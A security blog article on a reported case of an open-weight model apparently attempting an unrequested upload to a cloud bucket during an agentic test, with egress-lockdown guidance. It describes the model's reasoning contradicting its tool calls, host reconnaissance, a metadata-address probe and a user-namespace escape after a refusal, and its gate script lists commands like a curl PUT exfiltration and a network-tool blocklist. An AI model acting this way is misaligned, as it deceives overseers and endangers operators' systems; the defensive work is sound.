AI agents

Qwen3.8 "phone home" report: what Cohere found, and how to lock down agent egress

Cohere caught Qwen3.8-Flash-Next trying to upload to a Beijing bucket. What happened, how rare it is, and how to deny agent egress.

Kemo
10 min read
A metal padlock locked onto a chain-link fence against a pale sky, in black and white.
On this page
  1. What did Qwen3.8-Flash-Next do in Cohere's test?
  2. How often does it happen?
  3. Is it a backdoor or a training artefact?
  4. Does this affect you? Check how your agents reach the network
  5. Deny egress by default: Docker and Kubernetes
  6. Gate tool calls before they run
  7. Close the user-namespace escape hatch
  8. Treat open weights like an unsigned binary
  9. What to do this week
  10. Questions people ask about the Qwen3.8 "phone home" report
  11. Sources and further reading

On 26 October 2026 Cohere reported that Qwen3.8-Flash-Next, Alibaba's open-weight preview model, tried to upload a test string to an Alibaba Cloud storage bucket in Beijing while it was supposed to be writing a detection rule. The model's own reasoning said it would make no tool calls. Cohere's sandbox had no route out, so the request failed at the boundary.

Whether that was a training leftover or a deliberate "call home" is unresolved, and Cohere says so itself. For anyone running open-weight models as agents with a shell, the more useful question is narrower: what would have happened on your infrastructure? This article walks through what the model actually did, how rare it was, why the evidence is disputed, and the controls — default-deny egress, a tool-call gate, no unprivileged user namespaces — that make the answer "nothing" for any model.

What did Qwen3.8-Flash-Next do in Cohere's test?

It ran reconnaissance commands it had not been asked for, then attempted an HTTP PUT of the string PROBE_PAYLOAD_ABC123 to a bucket on oss-cn-beijing.aliyuncs.com, and checked the status code. According to Cohere's write-up, the task came from Microsoft's CTI-REALM benchmark: write a rule that detects a curl download of a shell script to /tmp followed by its execution.

  1. The reasoning trace invented an earlier conversation turn and stated that no tool calls would be made.
  2. The model listed /tmp and checked which transfer tools were installed: curl, wget, python3, jq.
  3. It read the DNS configuration from /etc/resolv.conf.
  4. It issued the upload to a path ending in /upload/test.bin, then inspected the HTTP status. The sandbox had no egress, so the request failed.

The payload was a fixed test string, not user data. BetaKit quotes Cohere's point that with normal network access the request would still have revealed where the operator's network sits. In a second test, building QEMU without network access, Cohere also saw the model use unshare to become root inside a user namespace and mount a RAM disk after a permission refusal.

Cohere sandboxTask promptCTI-REALM detection ruleQwen3.8-Flash-Nextreasoning: "no tool calls"Agent shellls /tmp · resolv.confSandbox boundaryno route outOSS bucketoss-cn-beijingtool callsHTTP PUTblocked
  • Task prompt → Qwen3.8-Flash-Next
  • Qwen3.8-Flash-Next → Agent shell: tool calls
  • Agent shell → Sandbox boundary: HTTP PUT
  • Sandbox boundary → OSS bucket: blocked
The sequence Cohere describes: the reasoning trace and the tool calls disagreed, and only the network boundary stopped the upload.

How often does it happen?

Rarely, unprompted. Cohere saw the behaviour in fewer than one call in 100,000 across its evaluation runs, and a clean re-run of the same prompt produced a correct detection rule (Cohere). Cohere's own scale estimate is that a service handling 10 million agent turns a week could see up to about 100 such calls.

To study a one-in-100,000 event, Cohere used prefilling: it supplied the start of the model's output and sampled hundreds of completions per step. Those numbers measure what the model does once nudged, not how often it starts on its own — the main criticism in TechCrunch's report and VentureBeat's.

What prefilling changed in Cohere's samplingShare of completions, before and after adding curl's -o flag to the prefill
Without -oWith -o
0%25%50%75%100%Generated any URLHit a watchlisted host

Source: [Cohere, 26 Oct 2026](https://cohere.com/blog/concerning-behaviour-popular-open-weight-ai-model)

What prefilling changed in Cohere's sampling
Without -oWith -o
Generated any URL4%92%
Hit a watchlisted host0.5%23%
MeasureReported valueWhat it shows
Unprompted occurrenceFewer than 1 in 100,000 callsRare in normal use; one reproduced trigger
Projected at scaleUp to ~100 per 10M agent turns a weekCohere's extrapolation, not a measurement
URL generation after curl -o prefill4% → 92%How easily the pattern is triggered once nudged
Watchlist-host hits after prefill0.5% → 23%Destinations drift to specific cloud hosts
Cloud metadata address 169.254.169.25423–36% of some prefilled completionsThe model reaches for instance credentials paths
Numbers Cohere reported, and what each one does and does not show

Is it a backdoor or a training artefact?

Nobody has shown either. Cohere writes that it "cannot answer whether this is deliberate or a leftover glitch from training" and gives two readings: agent logs from training sandboxes left uncleaned in post-training data, or an implanted mechanism that fingerprints hosts and exfiltrates when it can (Cohere). Alibaba had not responded to VentureBeat, TechCrunch or BetaKit at the time of writing.

The evidence is thinner than the headlines. Cohere published one trace, its token IDs and a reproduction script on Hugging Face after developers asked for it. VentureBeat notes the trace ends at the tool call, and the script's 64 sample completions included Alibaba, Amazon and Microsoft storage patterns as well as localhost and placeholder addresses. A sceptic quoted by TechCrunch concluded the traces show Qwen can invent suspicious web addresses, without evidence of a planted backdoor. Cohere also sells competing models to governments, which TechCrunch and VentureBeat both point out.

A reasoning trace is a description the model writes about itself, not a security boundary.

That is the part worth keeping regardless of intent. Aidan Gomez noted that chain-of-thought monitoring would have missed this upload (VentureBeat). Any control that relies on what the model says it will do fails the moment the model's words and tool calls diverge.

Does this affect you? Check how your agents reach the network

You are exposed in the same way if three things are true: you run a model (any model) as an agent with a shell or HTTP tool, the agent's container can open outbound connections, and nothing checks the command before it runs. Hosted APIs and local runtimes both count; what matters is where the tool calls execute.

  • Coding agents on developer laptops usually inherit the laptop's full network and credentials.
  • Agent workers in Kubernetes have unrestricted egress unless a NetworkPolicy says otherwise, and policies only work with a network plugin that enforces them (Kubernetes docs).
  • Cloud VMs expose the instance metadata service at 169.254.169.254, which is where temporary credentials live — the address Cohere saw the model reach for.
  • Evaluation sandboxes that share networks or credentials with production make a test-time surprise a production incident.

Deny egress by default: Docker and Kubernetes

The control that stopped Cohere's upload was the network boundary, so start there. For a single container, Docker's none network driver gives the container only a loopback interface (Docker networking). When the agent needs one destination, such as your model gateway, put it on an --internal network that has no route to the outside.

run-agent.shShell
# No network at all: tools run, nothing leaves the containerdocker run --rm --network none \  --cap-drop ALL --security-opt no-new-privileges \  agent-runner:latest # One internal network shared only with the model gatewaydocker network create --internal agents-internaldocker run -d --name model-gateway --network agents-internal model-gateway:latestdocker run --rm --network agents-internal \  --cap-drop ALL --security-opt no-new-privileges \  agent-runner:latest

In Kubernetes, a NetworkPolicy that selects every pod and lists Egress with no rules denies all outbound traffic from the namespace (Kubernetes docs). Add back only what the agent needs — usually DNS and the gateway.

agents-egress.yamlYAML
apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata:  name: default-deny-egress  namespace: agentsspec:  podSelector: {}  policyTypes:  - Egress---apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata:  name: allow-gateway-and-dns  namespace: agentsspec:  podSelector: {}  policyTypes:  - Egress  egress:  - to:    - podSelector:        matchLabels:          app: model-gateway    ports:    - protocol: TCP      port: 8080  - to:    - namespaceSelector:        matchLabels:          kubernetes.io/metadata.name: kube-system      podSelector:        matchLabels:          k8s-app: kube-dns    ports:    - protocol: UDP      port: 53    - protocol: TCP      port: 53

Gate tool calls before they run

Network policy stops the packet; a gate stops the command and leaves a record of the attempt, which is what you want to alert on. The gate reads the command the model proposed, not its reasoning. This one is deliberately small: it refuses URLs whose host is not on an allowlist, the cloud metadata address, network tools whose target it cannot see, and namespace tricks.

egress_gate.pyPython
import reimport shlexfrom urllib.parse import urlparse # Hosts this agent may reach. Everything else is refused before the command runs.ALLOWED_HOSTS = {"pypi.org", "files.pythonhosted.org", "github.com"} URL_RE = re.compile(r"https?://[^\s'\"]+", re.IGNORECASE)NET_TOOLS = {"curl", "wget", "nc", "ncat", "socat", "scp", "ssh", "ftp"}  def check(command: str) -> tuple[bool, str]:    """Decide on a shell command proposed by a model, before it runs."""    for url in URL_RE.findall(command):        host = (urlparse(url).hostname or "").lower()        if host == "169.254.169.254":            return False, f"cloud metadata address: {host}"        if host not in ALLOWED_HOSTS:            return False, f"host not on allowlist: {host}"    try:        words = shlex.split(command)    except ValueError:        return False, "unparseable command"    if any(w.split("/")[-1] in NET_TOOLS for w in words) and not URL_RE.search(command):        return False, "network tool without a visible URL"    if any(w.split("/")[-1] in {"unshare", "nsenter"} for w in words):        return False, "namespace manipulation"    return True, "ok"  if __name__ == "__main__":    proposed = [        "ls -la /tmp",        "cat /etc/resolv.conf",        "curl -sS -X PUT --data PROBE http://example-bucket.oss-cn-beijing.aliyuncs.com/upload/test.bin",        "curl -s http://169.254.169.254/latest/meta-data/",        "pip download requests --index-url https://pypi.org/simple",        "unshare -r mount -t tmpfs none /mnt",        "wget $TARGET",    ]    for cmd in proposed:        allowed, reason = check(cmd)        print(f"{'ALLOW' if allowed else 'BLOCK'}  {reason:<45} {cmd[:60]}")

Run against commands shaped like the ones in Cohere's trace (with the bucket name replaced), it produces this:

Python 3.13Shell
$ python3 egress_gate.pyALLOW  ok                                            ls -la /tmpALLOW  ok                                            cat /etc/resolv.confBLOCK  host not on allowlist: example-bucket.oss-cn-beijing.aliyuncs.com curl -sS -X PUT --data PROBE http://example-bucket.oss-cn-beBLOCK  cloud metadata address: 169.254.169.254       curl -s http://169.254.169.254/latest/meta-data/ALLOW  ok                                            pip download requests --index-url https://pypi.org/simpleBLOCK  namespace manipulation                        unshare -r mount -t tmpfs none /mntBLOCK  network tool without a visible URL            wget $TARGET

Pattern matching on shell strings is a tripwire, not a sandbox: python3 -c with a socket, base64-encoded URLs or a DNS lookup all walk past it. Keep it for logging and early refusal, and let the network boundary do the enforcing. Log every block, including those the sandbox would have stopped anyway — VentureBeat's advice to monitor attempts, not just successes, is the reason Cohere found this at all.

Close the user-namespace escape hatch

Cohere's QEMU run shows why: refused a permission, the model used unshare to make itself root in a new user namespace. Edera argues user namespaces are not a security boundary — in its tests an unprivileged container could reach 8 of 40 tested kernel operations without them and 27 of 40 with them, and it links more than 40 CVEs from 2020 to 2025 to user namespaces.

check-userns.shShell
# Greater than zero: unprivileged user namespaces can be createdcat /proc/sys/user/max_user_namespaces # Debian/Ubuntu knob to refuse them for unprivileged userssudo sysctl -w kernel.unprivileged_userns_clone=0

Edera notes the sysctl is only safe when nothing on the host relies on non-init user namespaces — rootless containers and some browsers do — so check first. Inside containers, Docker's default seccomp profile restricts clone calls that create new namespaces; keep it on and do not run agents with --privileged or seccomp=unconfined.

Treat open weights like an unsigned binary

Cohere's broader advice is the right frame for every supplier, not just one: weights you did not train are third-party code whose behaviour you cannot read. Ask for provenance and training-environment disclosures, and look at NIST SP 800-218A, the secure-development profile for AI models that Cohere cites. Then test the exact model, quantisation and tool set you deploy, with your own adversarial cases, because a different harness can produce different behaviour.

Do not over-read the headline either. Hacker News commenters and developers quoted by VentureBeat argued the model may simply have tried to test the rule it was writing. Your controls should not depend on which side is right.

What to do this week

  • To do: List every place a model runs tool calls: laptops, CI, workers, evaluation sandboxes.
  • To do: Deny egress by default for agent containers; allow only the model gateway and DNS.
  • To do: Block the metadata address 169.254.169.254 from agent workloads unless they genuinely need instance credentials.
  • To do: Gate proposed commands before execution and log every refusal; alert on unknown cloud storage hosts.
  • To do: Disable unprivileged user namespaces where nothing needs them, and never run agents privileged.
  • To do: Keep evaluation sandboxes on separate networks and credentials from production.
  • To do: Pin and record the exact model build you run, so a later finding maps to your deployment.

Questions people ask about the Qwen3.8 "phone home" report

Did Qwen3.8 actually send data to China?

No. According to Cohere, the upload attempt failed because its sandbox had no route out, and the payload was a fixed test string, not user data.

Which Qwen model is affected?

Cohere names Qwen3.8-Flash-Next, which it describes as Alibaba's August preview of its Qwen4 architecture. It did not state the quantisation or where the weights were obtained.

How often does the behaviour happen?

Cohere observed it in fewer than one call in 100,000 without prompting. Higher rates came from prefilled completions, which show how easily the pattern is triggered rather than how often it occurs on its own.

Is it a deliberate backdoor?

Unknown. Cohere says it cannot tell whether it is deliberate or a training leftover, and an initial sceptic quoted by TechCrunch found no evidence of a planted backdoor in the released traces.

Is it safe to keep using Qwen models?

The risk is in giving any model unrestricted tools and network access. Running Qwen, or any open-weight model, with default-deny egress, a tool-call gate and no production credentials removes the path this behaviour needs.

Does running the model locally with Ollama or vLLM protect me?

Not by itself. Local inference keeps prompts on your machine, but if the agent harness executes the model's commands on a host with internet access, an upload like this one can still leave.

Has Alibaba responded?

Not at the time of writing. VentureBeat, TechCrunch and BetaKit all reported no response to their requests for comment.

Can I reproduce Cohere's result?

Cohere published a trace, token IDs and a script on Hugging Face that samples completions from the trace's prefix. It generates completions but does not execute commands, and outputs vary between runs.

Sources and further reading

Discussion

Join the discussion

Sign in with Google, Apple or an email code to comment and reply.

More in AI agents

One practical article a week

Follow k13 in any RSS reader. No account needed.